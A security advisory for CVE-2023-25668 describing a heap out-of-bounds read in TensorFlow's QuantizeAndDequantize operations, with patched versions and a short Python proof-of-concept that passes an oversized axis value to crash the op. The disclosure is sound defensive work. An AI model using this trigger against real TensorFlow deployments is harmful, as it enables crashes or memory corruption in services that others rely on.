TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

GHSA-gw97-ff7c-9v96 · BIT-tensorflow-2023-25668 · CVE-2023-25668 · PYSEC-2026-548 · PYSEC-2026-549 · PYSEC-2026-550 · 갱신 2026. 6. 29.

생태계	패키지	수정 버전
PyPI	tensorflow	2.11.1
PyPI	tensorflow-cpu	2.11.1
PyPI	tensorflow-gpu	2.11.1

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

영향 받는 패키지

원문

Impact

Patches

For more information

출처